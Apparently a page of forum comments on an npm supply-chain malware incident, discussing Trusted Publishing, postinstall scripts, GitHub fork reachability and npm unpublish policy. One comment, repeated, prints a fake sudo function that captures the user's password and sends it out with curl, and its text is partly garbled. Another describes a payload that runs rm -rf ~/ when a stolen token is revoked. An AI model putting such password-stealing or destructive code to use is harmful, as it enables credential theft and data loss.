251–260 of 501 posts
It is unfortunate, but this is evidence (IMO) that Trusted Publishing is still ~~not secure~~ not enough by itself to securely publish from CI, as an attacker inside your CI pipeline or with stolen repo admin creds can easily publish. This isnt new information, TP is not meant to guarantee against this, but migrating to TP away from local publish w/ 2fa introduces this class of attack via compomise of CI. (edit: chan…
Postinstall scripts are deadly. Everyone should be using pnpm. Crazy that an "orphan" commit pushed to a FORK(!) could trigger this (in npm clients). IMO GitHub deserves much of the blame here. A malicious fork's commits are reachable via GitHub's shared object storage at a URI indistinguishable from the legit repo. That is absolutely bonkers.
How is this not a Github P0? Can anyone explain? When I read that, I thought they must be using 'fork' wrong, and actually mean branch on the official repo, as that can't be right!?" Good lord.
specified: repo location, slightly-difficult-to-preimage hash
intended meaning: use this hash if and only if it is accessible from the default branch of that repo
actual meaning: use this hash. start looking at this location. I do not care whether it is accessible through that location by accident, by intent of merely its uploader, or by explicit and persisting intent of someone with write access to the location.
Earlier quoted context omitted.
Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }
> Sudo is security theater. Yes indeed. > Malware can make a fake unprivileged sudo that sniffs your password. Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su . So basically only root can use su and nobody else. Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so…
Please be careful when revoking tokens. It looks like the payload installs a dead-man's switch at ~/.local/bin/gh-token-monitor.sh as a systemd user service (Linux) / LaunchAgent com.user.gh-token-monitor(macOS). It polls api.github.com/user with the stolen token every 60s, and if the token is revoked (HTTP 40x), it runs rm -rf ~/. https://github.com/TanStack/router/issues/7383#issuecomment-...
Realistically if you have installed malware, you need to do a full wipe of your computer anyway.
I think we are at the point where everyone really needs to run each project in its own vm. Given the recent lpe vulns docker 100% won’t cut it. And containers were never meant primarily as a security boundary anyways
Luckily, projects using more secure language ecosystems like C and C++ are spared this kind of problems :-)
> Unpublish was unavailable for nearly all affected packages because of npm's "no unpublish if dependents exist" policy. We have to rely on npm security to pull tarballs server-side, which adds hours of delay during which malicious tarballs remain installable Per https://docs.npmjs.com/policies/unpublish : > If your package does not meet the unpublish policy criteria, we recommend deprecating the package. This allows…
I do not envy the position the npm team are in. They removed the ability to unpublish packages as a response to the left-pad incident[1] because it wasn't desirable for individual developers to break downstream dependencies by pulling their package maliciously. Of course the side effect is that now it's much harder to pull packages for legitimate reasons :/ [1] https://en.wikipedia.org/wiki/Npm_left-pad_incident
Give a publisher a way to tag a version as malicious and then in those hours between the exploit being noticed and the package being removed anyone who tries to install gets a message about that version being quarantined and asking whether they want to proceed.
It's not a perfect solution, but I think it's better than just waiting for NPM to take action without opening the door up to another left pad situation.
Earlier quoted context omitted.
I don't understand why people were voting this comment down in the issue page
Maybe they have a non-standard interpretation of thumbs-down – as "thumbs-down to this fact" not "thumbs-down to you for pointing it out"
> Unpublish was unavailable for nearly all affected packages because of npm's "no unpublish if dependents exist" policy. We have to rely on npm security to pull tarballs server-side, which adds hours of delay during which malicious tarballs remain installable Per https://docs.npmjs.com/policies/unpublish : > If your package does not meet the unpublish policy criteria, we recommend deprecating the package. This allows…
I do not envy the position the npm team are in. They removed the ability to unpublish packages as a response to the left-pad incident[1] because it wasn't desirable for individual developers to break downstream dependencies by pulling their package maliciously. Of course the side effect is that now it's much harder to pull packages for legitimate reasons :/ [1] https://en.wikipedia.org/wiki/Npm_left-pad_incident
Earlier quoted context omitted.
[On Linux:] If you didn't give yourself "free" (passwordless) sudo, that's not necessary… …unless it happened in a week with 2 and a half Linux kernel LPEs.
Sudo is security theater. Malware can make a fake unprivileged sudo that sniffs your password. function sudo () { realsudo=$(which sudo); read -r -s -p "[sudo] password for $USER: " password; echo "$USER: $password" | \ curl -F 'p= /dev/null 2>&1; $realsudo -S /dev/null 2>&1; $realsudo "${@:1}"; }